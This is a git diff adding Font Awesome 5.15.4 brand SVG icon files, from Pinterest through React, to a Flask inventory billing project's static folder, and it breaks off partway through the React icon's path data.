Flask/static/font-awesome/svgs/brands/pinterest-p.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M204 6.5C101.4 6.5 0 74.9 0 185.6 0 256 39.6 296 63.6 296c9.9 0 15.6-27.6 15.6-35.4 0-9.3-23.7-29.1-23.7-67.8 0-80.4 61.2-137.4 140.4-137.4 68.1 0 118.5 38.7 118.5 109.8 0 53.1-21.3 152.7-90.3 152.7-24.9 0-46.2-18-46.2-43.8 0-37.8 26.4-74.4 26.4-113.4 0-66.2-93.9-54.2-93.9 25.8 0 16.8 2.1 35.4 9.6 50.7-13.8 59.4-42 147.9-42 209.1 0 18.9 2.7 37.5 4.5 56.4 3.4 3.8 1.7 3.4 6.9 1.5 50.4-69 48.6-82.5 71.4-172.8 12.3 23.4 44.1 36 69.3 36 106.2 0 153.9-103.5 153.9-196.8C384 71.3 298.2 6.5 204 6.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pinterest-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pinterest-square.svg new file mode 100644 index 00000000..e0c2b081 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pinterest-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 80v352c0 26.5-21.5 48-48 48H154.4c9.8-16.4 22.4-40 27.4-59.3 3-11.5 15.3-58.4 15.3-58.4 8 15.3 31.4 28.2 56.3 28.2 74.1 0 127.4-68.1 127.4-152.7 0-81.1-66.2-141.8-151.4-141.8-106 0-162.2 71.1-162.2 148.6 0 36 19.2 80.8 49.8 95.1 4.7 2.2 7.1 1.2 8.2-3.3.8-3.4 5-20.1 6.8-27.8.6-2.5.3-4.6-1.7-7-10.1-12.3-18.3-34.9-18.3-56 0-54.2 41-106.6 110.9-106.6 60.3 0 102.6 41.1 102.6 99.9 0 66.4-33.5 112.4-77.2 112.4-24.1 0-42.1-19.9-36.4-44.4 6.9-29.2 20.3-60.7 20.3-81.8 0-53-75.5-45.7-75.5 25 0 21.7 7.3 36.5 7.3 36.5-31.4 132.8-36.1 134.5-29.6 192.6l2.2.8H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pinterest.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pinterest.svg new file mode 100644 index 00000000..0b554637 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pinterest.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M496 256c0 137-111 248-248 248-25.6 0-50.2-3.9-73.4-11.1 10.1-16.5 25.2-43.5 30.8-65 3-11.6 15.4-59 15.4-59 8.1 15.4 31.7 28.5 56.8 28.5 74.8 0 128.7-68.8 128.7-154.3 0-81.9-66.9-143.2-152.9-143.2-107 0-163.9 71.8-163.9 150.1 0 36.4 19.4 81.7 50.3 96.1 4.7 2.2 7.2 1.2 8.3-3.3.8-3.4 5-20.3 6.9-28.1.6-2.5.3-4.7-1.7-7.1-10.1-12.5-18.3-35.3-18.3-56.6 0-54.7 41.4-107.6 112-107.6 60.9 0 103.6 41.5 103.6 100.9 0 67.1-33.9 113.6-78 113.6-24.3 0-42.6-20.1-36.7-44.8 7-29.5 20.5-61.3 20.5-82.6 0-19-10.2-34.9-31.4-34.9-24.9 0-44.9 25.7-44.9 60.2 0 22 7.4 36.8 7.4 36.8s-24.5 103.8-29 123.2c-5 21.4-3 51.6-.9 71.2C65.4 450.9 0 361.1 0 256 0 119 111 8 248 8s248 111 248 248z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/playstation.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/playstation.svg new file mode 100644 index 00000000..802ebc6b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/playstation.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M570.9 372.3c-11.3 14.2-38.8 24.3-38.8 24.3L327 470.2v-54.3l150.9-53.8c17.1-6.1 19.8-14.8 5.8-19.4-13.9-4.6-39.1-3.3-56.2 2.9L327 381.1v-56.4c23.2-7.8 47.1-13.6 75.7-16.8 40.9-4.5 90.9.6 130.2 15.5 44.2 14 49.2 34.7 38 48.9zm-224.4-92.5v-139c0-16.3-3-31.3-18.3-35.6-11.7-3.8-19 7.1-19 23.4v347.9l-93.8-29.8V32c39.9 7.4 98 24.9 129.2 35.4C424.1 94.7 451 128.7 451 205.2c0 74.5-46 102.8-104.5 74.6zM43.2 410.2c-45.4-12.8-53-39.5-32.3-54.8 19.1-14.2 51.7-24.9 51.7-24.9l134.5-47.8v54.5l-96.8 34.6c-17.1 6.1-19.7 14.8-5.8 19.4 13.9 4.6 39.1 3.3 56.2-2.9l46.4-16.9v48.8c-51.6 9.3-101.4 7.3-153.9-10z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/product-hunt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/product-hunt.svg new file mode 100644 index 00000000..e5b27f22 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/product-hunt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M326.3 218.8c0 20.5-16.7 37.2-37.2 37.2h-70.3v-74.4h70.3c20.5 0 37.2 16.7 37.2 37.2zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-128.1-37.2c0-47.9-38.9-86.8-86.8-86.8H169.2v248h49.6v-74.4h70.3c47.9 0 86.8-38.9 86.8-86.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pushed.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pushed.svg new file mode 100644 index 00000000..01c41ab1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pushed.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 432 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M407 111.9l-98.5-9 14-33.4c10.4-23.5-10.8-40.4-28.7-37L22.5 76.9c-15.1 2.7-26 18.3-21.4 36.6l105.1 348.3c6.5 21.3 36.7 24.2 47.7 7l35.3-80.8 235.2-231.3c16.4-16.8 4.3-42.9-17.4-44.8zM297.6 53.6c5.1-.7 7.5 2.5 5.2 7.4L286 100.9 108.6 84.6l189-31zM22.7 107.9c-3.1-5.1 1-10 6.1-9.1l248.7 22.7-96.9 230.7L22.7 107.9zM136 456.4c-2.6 4-7.9 3.1-9.4-1.2L43.5 179.7l127.7 197.6c-7 15-35.2 79.1-35.2 79.1zm272.8-314.5L210.1 337.3l89.7-213.7 106.4 9.7c4 1.1 5.7 5.3 2.6 8.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/python.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/python.svg new file mode 100644 index 00000000..08533ce4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/python.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M439.8 200.5c-7.7-30.9-22.3-54.2-53.4-54.2h-40.1v47.4c0 36.8-31.2 67.8-66.8 67.8H172.7c-29.2 0-53.4 25-53.4 54.3v101.8c0 29 25.2 46 53.4 54.3 33.8 9.9 66.3 11.7 106.8 0 26.9-7.8 53.4-23.5 53.4-54.3v-40.7H226.2v-13.6h160.2c31.1 0 42.6-21.7 53.4-54.2 11.2-33.5 10.7-65.7 0-108.6zM286.2 404c11.1 0 20.1 9.1 20.1 20.3 0 11.3-9 20.4-20.1 20.4-11 0-20.1-9.2-20.1-20.4.1-11.3 9.1-20.3 20.1-20.3zM167.8 248.1h106.8c29.7 0 53.4-24.5 53.4-54.3V91.9c0-29-24.4-50.7-53.4-55.6-35.8-5.9-74.7-5.6-106.8.1-45.2 8-53.4 24.7-53.4 55.6v40.7h106.9v13.6h-147c-31.1 0-58.3 18.7-66.8 54.2-9.8 40.7-10.2 66.1 0 108.6 7.6 31.6 25.7 54.2 56.8 54.2H101v-48.8c0-35.3 30.5-66.4 66.8-66.4zm-6.7-142.6c-11.1 0-20.1-9.1-20.1-20.3.1-11.3 9-20.4 20.1-20.4 11 0 20.1 9.2 20.1 20.4s-9 20.3-20.1 20.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/qq.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/qq.svg new file mode 100644 index 00000000..ebb14e10 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/qq.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M433.754 420.445c-11.526 1.393-44.86-52.741-44.86-52.741 0 31.345-16.136 72.247-51.051 101.786 16.842 5.192 54.843 19.167 45.803 34.421-7.316 12.343-125.51 7.881-159.632 4.037-34.122 3.844-152.316 8.306-159.632-4.037-9.045-15.25 28.918-29.214 45.783-34.415-34.92-29.539-51.059-70.445-51.059-101.792 0 0-33.334 54.134-44.859 52.741-5.37-.65-12.424-29.644 9.347-99.704 10.261-33.024 21.995-60.478 40.144-105.779C60.683 98.063 108.982.006 224 0c113.737.006 163.156 96.133 160.264 214.963 18.118 45.223 29.912 72.85 40.144 105.778 21.768 70.06 14.716 99.053 9.346 99.704z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/quinscape.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/quinscape.svg new file mode 100644 index 00000000..95e68d4e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/quinscape.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M313.6 474.6h-1a158.1 158.1 0 0 1 0-316.2c94.9 0 168.2 83.1 157 176.6 4 5.1 8.2 9.6 11.2 15.3 13.4-30.3 20.3-62.4 20.3-97.7C501.1 117.5 391.6 8 256.5 8S12 117.5 12 252.6s109.5 244.6 244.5 244.6a237.36 237.36 0 0 0 70.4-10.1c-5.2-3.5-8.9-8.1-13.3-12.5zm-.1-.1l.4.1zm78.4-168.9a99.2 99.2 0 1 0 99.2 99.2 99.18 99.18 0 0 0-99.2-99.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/quora.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/quora.svg new file mode 100644 index 00000000..b0326fbf --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/quora.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M440.5 386.7h-29.3c-1.5 13.5-10.5 30.8-33 30.8-20.5 0-35.3-14.2-49.5-35.8 44.2-34.2 74.7-87.5 74.7-153C403.5 111.2 306.8 32 205 32 105.3 32 7.3 111.7 7.3 228.7c0 134.1 131.3 221.6 249 189C276 451.3 302 480 351.5 480c81.8 0 90.8-75.3 89-93.3zM297 329.2C277.5 300 253.3 277 205.5 277c-30.5 0-54.3 10-69 22.8l12.2 24.3c6.2-3 13-4 19.8-4 35.5 0 53.7 30.8 69.2 61.3-10 3-20.7 4.2-32.7 4.2-75 0-107.5-53-107.5-156.7C97.5 124.5 130 71 205 71c76.2 0 108.7 53.5 108.7 157.7.1 41.8-5.4 75.6-16.7 100.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/r-project.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/r-project.svg new file mode 100644 index 00000000..ae0b8e56 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/r-project.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 581 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M581 226.6C581 119.1 450.9 32 290.5 32S0 119.1 0 226.6C0 322.4 103.3 402 239.4 418.1V480h99.1v-61.5c24.3-2.7 47.6-7.4 69.4-13.9L448 480h112l-67.4-113.7c54.5-35.4 88.4-84.9 88.4-139.7zm-466.8 14.5c0-73.5 98.9-133 220.8-133s211.9 40.7 211.9 133c0 50.1-26.5 85-70.3 106.4-2.4-1.6-4.7-2.9-6.4-3.7-10.2-5.2-27.8-10.5-27.8-10.5s86.6-6.4 86.6-92.7-90.6-87.9-90.6-87.9h-199V361c-74.1-21.5-125.2-67.1-125.2-119.9zm225.1 38.3v-55.6c57.8 0 87.8-6.8 87.8 27.3 0 36.5-38.2 28.3-87.8 28.3zm-.9 72.5H365c10.8 0 18.9 11.7 24 19.2-16.1 1.9-33 2.8-50.6 2.9v-22.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/raspberry-pi.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/raspberry-pi.svg new file mode 100644 index 00000000..ea4e276d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/raspberry-pi.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 407 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M372 232.5l-3.7-6.5c.1-46.4-21.4-65.3-46.5-79.7 7.6-2 15.4-3.6 17.6-13.2 13.1-3.3 15.8-9.4 17.1-15.8 3.4-2.3 14.8-8.7 13.6-19.7 6.4-4.4 10-10.1 8.1-18.1 6.9-7.5 8.7-13.7 5.8-19.4 8.3-10.3 4.6-15.6 1.1-20.9 6.2-11.2.7-23.2-16.6-21.2-6.9-10.1-21.9-7.8-24.2-7.8-2.6-3.2-6-6-16.5-4.7-6.8-6.1-14.4-5-22.3-2.1-9.3-7.3-15.5-1.4-22.6.8C271.6.6 269 5.5 263.5 7.6c-12.3-2.6-16.1 3-22 8.9l-6.9-.1c-18.6 10.8-27.8 32.8-31.1 44.1-3.3-11.3-12.5-33.3-31.1-44.1l-6.9.1c-5.9-5.9-9.7-11.5-22-8.9-5.6-2-8.1-7-19.4-3.4-4.6-1.4-8.9-4.4-13.9-4.3-2.6.1-5.5 1-8.7 3.5-7.9-3-15.5-4-22.3 2.1-10.5-1.3-14 1.4-16.5 4.7-2.3 0-17.3-2.3-24.2 7.8C21.2 16 15.8 28 22 39.2c-3.5 5.4-7.2 10.7 1.1 20.9-2.9 5.7-1.1 11.9 5.8 19.4-1.8 8 1.8 13.7 8.1 18.1-1.2 11 10.2 17.4 13.6 19.7 1.3 6.4 4 12.4 17.1 15.8 2.2 9.5 10 11.2 17.6 13.2-25.1 14.4-46.6 33.3-46.5 79.7l-3.7 6.5c-28.8 17.2-54.7 72.7-14.2 117.7 2.6 14.1 7.1 24.2 11 35.4 5.9 45.2 44.5 66.3 54.6 68.8 14.9 11.2 30.8 21.8 52.2 29.2C159 504.2 181 512 203 512h1c22.1 0 44-7.8 64.2-28.4 21.5-7.4 37.3-18 52.2-29.2 10.2-2.5 48.7-23.6 54.6-68.8 3.9-11.2 8.4-21.3 11-35.4 40.6-45.1 14.7-100.5-14-117.7zm-22.2-8c-1.5 18.7-98.9-65.1-82.1-67.9 45.7-7.5 83.6 19.2 82.1 67.9zm-43 93.1c-24.5 15.8-59.8 5.6-78.8-22.8s-14.6-64.2 9.9-80c24.5-15.8 59.8-5.6 78.8 22.8s14.6 64.2-9.9 80zM238.9 29.3c.8 4.2 1.8 6.8 2.9 7.6 5.4-5.8 9.8-11.7 16.8-17.3 0 3.3-1.7 6.8 2.5 9.4 3.7-5 8.8-9.5 15.5-13.3-3.2 5.6-.6 7.3 1.2 9.6 5.1-4.4 10-8.8 19.4-12.3-2.6 3.1-6.2 6.2-2.4 9.8 5.3-3.3 10.6-6.6 23.1-8.9-2.8 3.1-8.7 6.3-5.1 9.4 6.6-2.5 14-4.4 22.1-5.4-3.9 3.2-7.1 6.3-3.9 8.8 7.1-2.2 16.9-5.1 26.4-2.6l-6 6.1c-.7.8 14.1.6 23.9.8-3.6 5-7.2 9.7-9.3 18.2 1 1 5.8.4 10.4 0-4.7 9.9-12.8 12.3-14.7 16.6 2.9 2.2 6.8 1.6 11.2.1-3.4 6.9-10.4 11.7-16 17.3 1.4 1 3.9 1.6 9.7.9-5.2 5.5-11.4 10.5-18.8 15 1.3 1.5 5.8 1.5 10 1.6-6.7 6.5-15.3 9.9-23.4 14.2 4 2.7 6.9 2.1 10 2.1-5.7 4.7-15.4 7.1-24.4 10 1.7 2.7 3.4 3.4 7.1 4.1-9.5 5.3-23.2 2.9-27 5.6.9 2.7 3.6 4.4 6.7 5.8-15.4.9-57.3-.6-65.4-32.3 15.7-17.3 44.4-37.5 93.7-62.6-38.4 12.8-73 30-102 53.5-34.3-15.9-10.8-55.9 5.8-71.8zm-34.4 114.6c24.2-.3 54.1 17.8 54 34.7-.1 15-21 27.1-53.8 26.9-32.1-.4-53.7-15.2-53.6-29.8 0-11.9 26.2-32.5 53.4-31.8zm-123-12.8c3.7-.7 5.4-1.5 7.1-4.1-9-2.8-18.7-5.3-24.4-10 3.1 0 6 .7 10-2.1-8.1-4.3-16.7-7.7-23.4-14.2 4.2-.1 8.7 0 10-1.6-7.4-4.5-13.6-9.5-18.8-15 5.8.7 8.3.1 9.7-.9-5.6-5.6-12.7-10.4-16-17.3 4.3 1.5 8.3 2 11.2-.1-1.9-4.2-10-6.7-14.7-16.6 4.6.4 9.4 1 10.4 0-2.1-8.5-5.8-13.3-9.3-18.2 9.8-.1 24.6 0 23.9-.8l-6-6.1c9.5-2.5 19.3.4 26.4 2.6 3.2-2.5-.1-5.6-3.9-8.8 8.1 1.1 15.4 2.9 22.1 5.4 3.5-3.1-2.3-6.3-5.1-9.4 12.5 2.3 17.8 5.6 23.1 8.9 3.8-3.6.2-6.7-2.4-9.8 9.4 3.4 14.3 7.9 19.4 12.3 1.7-2.3 4.4-4 1.2-9.6 6.7 3.8 11.8 8.3 15.5 13.3 4.1-2.6 2.5-6.2 2.5-9.4 7 5.6 11.4 11.5 16.8 17.3 1.1-.8 2-3.4 2.9-7.6 16.6 15.9 40.1 55.9 6 71.8-29-23.5-63.6-40.7-102-53.5 49.3 25 78 45.3 93.7 62.6-8 31.8-50 33.2-65.4 32.3 3.1-1.4 5.8-3.2 6.7-5.8-4-2.8-17.6-.4-27.2-5.6zm60.1 24.1c16.8 2.8-80.6 86.5-82.1 67.9-1.5-48.7 36.5-75.5 82.1-67.9zM38.2 342c-23.7-18.8-31.3-73.7 12.6-98.3 26.5-7 9 107.8-12.6 98.3zm91 98.2c-13.3 7.9-45.8 4.7-68.8-27.9-15.5-27.4-13.5-55.2-2.6-63.4 16.3-9.8 41.5 3.4 60.9 25.6 16.9 20 24.6 55.3 10.5 65.7zm-26.4-119.7c-24.5-15.8-28.9-51.6-9.9-80s54.3-38.6 78.8-22.8 28.9 51.6 9.9 80c-19.1 28.4-54.4 38.6-78.8 22.8zM205 496c-29.4 1.2-58.2-23.7-57.8-32.3-.4-12.7 35.8-22.6 59.3-22 23.7-1 55.6 7.5 55.7 18.9.5 11-28.8 35.9-57.2 35.4zm58.9-124.9c.2 29.7-26.2 53.8-58.8 54-32.6.2-59.2-23.8-59.4-53.4v-.6c-.2-29.7 26.2-53.8 58.8-54 32.6-.2 59.2 23.8 59.4 53.4v.6zm82.2 42.7c-25.3 34.6-59.6 35.9-72.3 26.3-13.3-12.4-3.2-50.9 15.1-72 20.9-23.3 43.3-38.5 58.9-26.6 10.5 10.3 16.7 49.1-1.7 72.3zm22.9-73.2c-21.5 9.4-39-105.3-12.6-98.3 43.9 24.7 36.3 79.6 12.6 98.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ravelry.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ravelry.svg new file mode 100644 index 00000000..b0311a07 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ravelry.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M498.252,234.223c-1.208-10.34-1.7-20.826-3.746-31a310.306,310.306,0,0,0-9.622-36.6,184.068,184.068,0,0,0-30.874-57.5,251.154,251.154,0,0,0-18.818-21.689,237.362,237.362,0,0,0-47.113-36.116A240.8,240.8,0,0,0,331.356,26.65c-11.018-3.1-22.272-5.431-33.515-7.615-6.78-1.314-13.749-1.667-20.627-2.482-.316-.036-.6-.358-.9-.553q-16.143.009-32.288.006c-2.41.389-4.808.925-7.236,1.15a179.331,179.331,0,0,0-34.256,7.1,221.5,221.5,0,0,0-39.768,16.355,281.385,281.385,0,0,0-38.08,24.158c-6.167,4.61-12.268,9.36-17.974,14.518C96.539,88.494,86.34,97.72,76.785,107.555a243.878,243.878,0,0,0-33.648,43.95,206.488,206.488,0,0,0-20.494,44.6,198.2,198.2,0,0,0-7.691,34.759A201.13,201.13,0,0,0,13.4,266.385a299.716,299.716,0,0,0,4.425,40.24,226.865,226.865,0,0,0,16.73,53.3,210.543,210.543,0,0,0,24,39.528,213.589,213.589,0,0,0,26.358,28.416A251.313,251.313,0,0,0,126.7,458.455a287.831,287.831,0,0,0,55.9,25.277,269.5,269.5,0,0,0,40.641,9.835c6.071,1.01,12.275,1.253,18.412,1.873a4.149,4.149,0,0,1,1.19.56h32.289c2.507-.389,5-.937,7.527-1.143,16.336-1.332,32.107-5.335,47.489-10.717A219.992,219.992,0,0,0,379.1,460.322c9.749-6.447,19.395-13.077,28.737-20.1,5.785-4.348,10.988-9.5,16.3-14.457,3.964-3.7,7.764-7.578,11.51-11.5a232.162,232.162,0,0,0,31.427-41.639c9.542-16.045,17.355-32.905,22.3-50.926,2.859-10.413,4.947-21.045,7.017-31.652,1.032-5.279,1.251-10.723,1.87-16.087.036-.317.358-.6.552-.9V236.005A9.757,9.757,0,0,1,498.252,234.223Zm-161.117-1.15s-16.572-2.98-28.47-2.98c-27.2,0-33.57,14.9-33.57,37.04V360.8H201.582V170.062H275.1v31.931c8.924-26.822,26.771-36.189,62.04-36.189Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/react.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/react.svg new file mode 100644 index 00000000..30e3feee --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/react.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M418.2 177.2c-5.4-1.8-10.8-3.5-16.2-5.1.9-3.7 1.7-7.4 2.5-11.1 12.3-59.6 4.2-107.5-23.1-123.3-26.3-15.1-69.2.6-112.6 38.4-4.3 3.7-8.5 7.6-12.5 11.5-2.7-2.6-5.5-5.2-8.3-7.7-45.5-40.4-91.1-57.4-118.4-41.5-26.2 15.2-34 60.3-23 116.7 1.1 5.6 2.3 11.1 3.7 16.7-6.4 1.8-12.7 3.8-18.6 5.9C38.3 196.2 0 225.4 0 255.6c0 31.2 40.8 62.5 96.3 81.5 4.5 1.5 9 3 13.6 4.3-1.5 6-2.8 11.9-4 18-10.5 55.5-2.3 99.5 23.9 114.6 27 15.6 72.4-.4 116.6-39.1 3.5-3.1 7-6.3 10.5-9.7 4.4 4.3 9 8.4 13.6 12.4 42.8 36.8 85.1 51.7 111.2 36.6 27-15.6 35.8-62.9 24.4-120.5-.9-4.4-1.9-8.9-3-13.5 3.2-.9 6.3-1.9 9.4-2.9 57.7-19.1 99.5-50 99.5-81.7 0-30.3-39.4-59.7-93.8-78.4zM282.9 92.3c37.2-32.4 71.9-45.1 87.7-36 16.9 9.7 23.4 48.9 12.8 100.4-.7 3.4-1.4 6.7-2.3 10-22.2-5-44.7-8.6-67.3-10.6-13-18.6-27.2-36.4-42.6-53.1 3.9-3.7 7.7-7.2 11.7-10.7zM167.2 307.5c5.1 8.7 10.3 17.4 15.8 25.9-15.6-1.7-31.1-4.2-46.4-7.5 4.4-14.4 9.9-29.3 16.3-44.5 4.6 8.8 9.3 17.5 14.3 26.1zm-30.3-120.3c14.4-3.2 29.7-5.8 45.6-7.8-5.3 8.3-10.5 16.8-15.4 25.4-4.9 8.5-9.7 17.2-14.2 26-6.3-14.9-11.6-29.5-16-43.6zm27.4 68.9c6.6-13.8 13.8-27.3 21.4-40.6s15.8-26.2 24.4-38.9c15-1.1 30.3-1.7 45.9-1.7s31 .6 45.9 1.7c8.5 12.6 16.6 25.5 24.3 38.7s14.9 26.7 21.7 40.4c-6.7 13.8-13.9 27.4-21.6 40.8-7.6 13.3-15.7 26.2-24.2 39-14.9 1.1-30.4 1.6-46.1 1.6s-30.9-.5-45.6-1.4c-8.7-12.7-16.9-25.7-24.6-39s-14.8-26.8-21.5-40.6zm180.6 51.2c5.1-8.8 9.9-17.7 14.6-26.7 6.4 14.5 12 29.2 16.9 44.3-15.5 3.5-31.2 6.2-47 8 5.4-8.4 10.5-17 15.5-25.6zm14.4-76.5c-4.7-8.8-9.5-17.6-14.5-26.2-4.9-8.5-10-16.9-15.3-25.2 16.1 2 31.5 4.7 45.9 8-4.6 14.8-10 29.2-16.1 43.4zM256.2 118.3c10.5 11.4 20.4 23.4 29.6 35.8-19.8-.9-39.7-.9-59.5 0 9.8-12.9 19.9-24.9 29.9-35.8zM140.2 57c16.8-9.8 54.1 4.2 93.4 39 2.5 2.2 5 4.6 7.6 7-15.5 16.7-29.8 34.5-42.9 53.1-22.6 2-45 5.5-67.2 10.4-1.3-5.1-2.4-10.3-3.5-15.5-9.4-48.4-3.2-84.9 12.6-94zm-24.5 263.6c-4.2-1.2-8.3-2.5-12.4-3.9-21.3-6.7-45.5-17.3-63-31.2-10.1-7-16.9-17.8-18.8-29.9 0-18.3 31.6-41.7 77.2-57.6 5.7-2 11.5-3.8 17.3-5.5 6.8 21.7 15 43 24.5 63.6-9.6 